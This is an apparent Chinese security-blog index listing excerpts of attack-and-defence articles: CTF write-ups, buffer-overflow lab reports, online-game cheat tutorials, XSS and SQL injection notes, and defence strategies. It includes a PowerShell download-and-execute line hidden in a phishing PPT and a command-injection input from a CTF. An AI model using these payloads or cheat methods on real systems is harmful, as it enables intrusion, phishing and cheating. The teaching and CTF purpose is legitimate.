攻防专题
2023年攻防演练高危漏洞（附下载）
2024年攻防演练大幕即将拉开，大家都做好准备了吗？ 古言道”温故而知新“。在今年攻防演练之前，让我们回顾一下23年攻防演练高危漏洞，帮助企业在 HW 攻防演练的前期进行自我风险排查，降低因高危漏洞而“城池失守”的风险。 这是由斗象科技漏洞情报中心整理发布，全文共63页，非常详细，每个漏洞都注明了漏洞描述、披露时间、影响版本和检测规则等。建议安全人人手一份！ 文末有完整PDF可领取！！
84.网络游戏逆向分析与漏洞攻防-游戏技能系统分析-筛选与技能有关的数据包
免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！ 如果看不懂、不知道现在做的什么，那就跟着做完看效果，代码看不懂是正常的，只要会抄就行，抄着抄着就能懂了 内容参考于：易道云信息技术研究院 上一个内容：83.游戏瞬移漏洞的测试与分析 移动相关的到这就全部结束了，现在有瞬移、穿墙、飞天、遁地、高速移动，接下来开始分析与技能有关的，主要完成得到所有的技能，技能里面是一个什么样的
20232803 2023-2024-2 《网络攻防实践》实践九报告
目录 1.实践内容2.实践过程2.1 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数2.2 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数2.3 注入一个自己制作的shellcode并运行这段shellcode 3.学习中遇到的问题及解决4.实践总结 1.实践内容 本次实践的对象是一个名为pwn1的linux可
《云原生安全攻防》-- 构建云原生攻防场景
在本节课程中，我们将学习云原生攻防场景的构建。为了研究云原生安全攻击案例，我们需要搭建一个云原生攻击测试环境，以便进行攻防研究和攻击手法的复现。 在这个课程中，我们将学习以下内容： 构建云原生攻防场景：选择模拟的攻击目标，形成完整的攻击路径，以便学习如何攻击过程中的漏洞利用技术和防御策略。 快速搭建K8s集群环境：通过一步步的演示，学习如何快速搭建K8s集群环境，为学习和实践云原生安全提供基
83.网络游戏逆向分析与漏洞攻防-移动系统分析-游戏瞬移漏洞的测试与分析
免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！ 如果看不懂、不知道现在做的什么，那就跟着做完看效果，代码看不懂是正常的，只要会抄就行，抄着抄着就能懂了 内容参考于：易道云信息技术研究院 上一个内容：82.坐标修正数据包的处理与模拟 码云版本号：2057942aba862cbc9f9db7037948d921af42993a 代码下载地址，在 titan 目录下，文件名
一些近来对内网攻防的思考
我知道我最近托更托了很久了，其实也不是小编懒啊 这小编也是一直在写，但是遇到的问题比较多（我太菜了），所以一直拖着。 但是总不能不更吧 那就讲一下进来的一些内网攻防的思考吧 1.CrossC2上线Linux到CS(成功) 我么众所周知，CS是不能生成以及上线Linux的（再不配置插件的情况下），那么我们今天就带大家来配一下这个上线cs的插件 我就去kali上演示啦（你
攻防演练-防守单位常见防守策略
为方便您的阅读，可点击下方蓝色字体，进行跳转↓↓↓ 01 防守单位常见防守策略 01 防守单位常见防守策略 为普及网络安全知识，提高网络安全防范意识，和网络安全工作技能。我们将向大家介绍网络安全攻防演练中防守单位的一些关键策略，从资产梳理到安全加固，再到响应处置，为大家提供一个多视角的安全防护框架，提高大家对网络威胁的防范意识。 （1）资产梳理 摸清网络资产底数，分析网络
0基础理解ECC并做题-攻防世界easy-ECC理解
基点p就是最初选定的那个点 1和2都是整数集合，但是1/2=0.5就不属于整数集合 一直加，一直乘，还能保证有限个数字？这是因为采用了取模的运算，让元素始终都在有限的范围内。 如何计算分数求模？ 设n=1/2mod23,那么n和1/2mod23是同余的。而后两边同时乘2，就可以得到下面的内容。 负数求
攻防世界-web-fileclude（二）
题目 解题 题目源码 WRONG WAY! <?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) && isset($_GET["file2"])){$file1 = $_GET["file1"];$file2 = $_GET["file2"];if(!empty($file1) &
80.网络游戏逆向分析与漏洞攻防-移动系统分析-利用数据包尝试穿墙
免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！ 如果看不懂、不知道现在做的什么，那就跟着做完看效果，代码看不懂是正常的，只要会抄就行，抄着抄着就能懂了 内容参考于：易道云信息技术研究院 上一个内容：79.利用数据包实现人物走路 码云版本号：b3e60d65ce177d331f3f842d7a7e72124663f2f8 代码下载地址，在 titan 目录下，文件名为：
攻防世界-web-command_execution
题目： 原理： | 的作用为将前一个命令的结果传递给后一个命令作为输入 &&的作用是前一条命令执行成功时，才执行后一条命令 方法一： 第一步： 1.打开浏览器，在文本框内输入127.0.0.1 | find / -name “flag.txt” （将 | 替换成 & 或 && 都可以）,查找flag所在位置，如图所示。 第二步： 2.在文本框内输入 127.0.0.1 |
79.网络游戏逆向分析与漏洞攻防-移动系统分析-利用数据包实现人物走路
免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！ 如果看不懂、不知道现在做的什么，那就跟着做完看效果，代码看不懂是正常的，只要会抄就行，抄着抄着就能懂了 内容参考于：易道云信息技术研究院 上一个内容：78.屏蔽跌落数据实现摔不死和模拟原地摔死 码云版本号：480e323877b729a923bc7a4852821f7824fa0ff9 代码下载地址，在 titan 目录
实战攻防中关于文档的妙用
一、PPT钓鱼 简单制作一个用于钓鱼的PPTX文件 一般那种小白不知道PPT也能拿来钓鱼，这里主要是借用PPT中的”动作按钮”, 我们在插入的地方，选择“动作按钮” 然后在弹出的窗口处： 比如填入上线CS的语句：powershell.exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstrin
20232820 2023-2024-2 《网络攻防实践》实践九报告
20232820 2023-2024-2 《网络攻防实践》实践九报告 1.实践内容 本次实践的对象是一个名为pwn1的linux可执行文件。 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习
第42天：WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作
第四十二天 一、PHP-MYSQL-SQL注入-常规查询 1.PHP-MYSQL-Web组成架构 MySQL(统一管理) root（自带默认） 网站A testA 网站B testB MySQL(一对一管理) testA用户 网站A testA testB用户 网站B testB access无数据库用户 mysql里面有内置的管理用户，其
20232810 2023-2024-2 《网络攻防实践》实验八
一、实践内容 1.1 恶意代码 1.1.1 简介 定义：恶意代码（Malware,或Malicious Code）指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集。 指令集合：二进制执行文件、脚本语言代码、宏代码、寄生在文件或者启动扇区的指令流。 目的：远程控制被攻击主机、满足施跳板攻击或进一步传播恶意代码、窃取私人信息或机密信息、窃取计算存储带宽资源、拒绝服务等。 类型：不感染的依
【CTF Web】攻防世界 GFSJ0478 cookie Writeup（HTTP协议+信息收集+Cookie）
cookie X老师告诉小宁他在cookie里放了些东西，小宁疑惑地想：‘这是夹心饼干的意思吗？’ 解法 按 F12，点击网络。 刷新页面。查看请求头中的 Cookie。 look-here=cookie.php 访问： http://61.147.171.105:53668/cookie.php 按 F12，点击网络。刷新页面。查看响应头，发现 flag。
06-xss攻防于绕过
xss的攻击于防御 攻击的利用方式 1）获取cookie，实现越权，如果是获取到网站管理员的cookie，也可以叫提权。注意尽量尽快退出账号，删除session，让session失效 2）钓鱼网站，模拟真实的网站，获取用户信息（用户名密码等），先告诉账号密码不正确，再跳转到真实网站 3）执行js代码，用于DDOS攻击别的目标站点，在站点A植入xss代码，向站点b发起请求，当用户量大的时候，
攻防世界-NewsCenter
题目信息 分析过程 题目打开是有个输入框可以用来输入搜索信息，初步判断是个sql注入的题目。接下来判断能否进行sql注入： 输入 hi，有搜索结果，如下图: 输入hi’,无结果，如下图： 初步判定是hi‘后面还有单引号，导致重复输入导致的，（单引号与服务端代码中的’形成闭合，将我们输入的字符串hello包裹，服务端代码后面多出来一个‘导致语法错误，而加入#将后面的’注释掉之后不会报错，可确
75.网络游戏逆向分析与漏洞攻防-角色与怪物信息的更新-伪造服务端更新属性消息欺骗客户端
免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！ 如果看不懂、不知道现在做的什么，那就跟着做完看效果，代码看不懂是正常的，只要会抄就行，抄着抄着就能懂了 内容参考于：易道云信息技术研究院 上一个内容：74.批量更新属性的数据包处理 码云版本号：2c9d1d61d45258d597070281c97bac5808c9670a 代码下载地址，在 titan 目录下，文件名为
20232803 2023-2024-2 《网络攻防实践》实践八报告
目录 1. 实践内容2. 实践过程2.1 动手实践任务一2.2 动手实践任务二：分析Crackme程序2.2.1 crackme1.exe2.2.2 crackme2.exe 2.3 分析实践任务一2.4 分析实践任务二 3. 学习中遇到的问题及解决4. 学习感悟、思考等 1. 实践内容 动手实践任务一：对提供的rada恶意代码样本，进行文件类型识别，脱壳与字符串提取，以获得
第76天：WAF攻防-信息收集识别被动探针代理池仿指纹白名单
目录 基础知识 案例一: 信息收集-被动扫描-黑暗引擎&三方接口 案例二: 信息收集-目录扫描-Python 代理加载脚本 案例三: 信息收集-爬虫扫描-Awvs&Xray&Goby内置 基础知识 什么是 WAF ？ Web Application Firewall （ web 应用防火墙），一种公认的说法是 “web 应用防火墙通过执行一系列针对 HTTP/
20232810 2023-2024-2 《网络攻防实践》实验七
一、实践内容 （1）使用Metasploit进行Linux远程渗透攻击 任务：使用Metasploit渗透测试软件，攻击Linux靶机上的Samba服务Usermap_script安全漏洞，获取目标Linux靶机的主机访问权限。实践步骤如下： ①启动Metasploit软件，可根据个人喜好使用msfconsole、msfgui、msfweb之一； ②使用exploit：exploit/multi
71.网络游戏逆向分析与漏洞攻防-角色与怪物信息的更新-分析并利用角色与怪物创建的数据包
免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！ 如果看不懂、不知道现在做的什么，那就跟着做完看效果 现在的代码都是依据数据包来写的，如果看不懂代码，就说明没看懂数据包 内容参考于： 易道云信息技术研究院VIP课 上一个内容：70.整理与角色数据更新有关的数据 码云版本号：4342753fb065199c70927502adcab7e5e68d6dae 代码下载地址，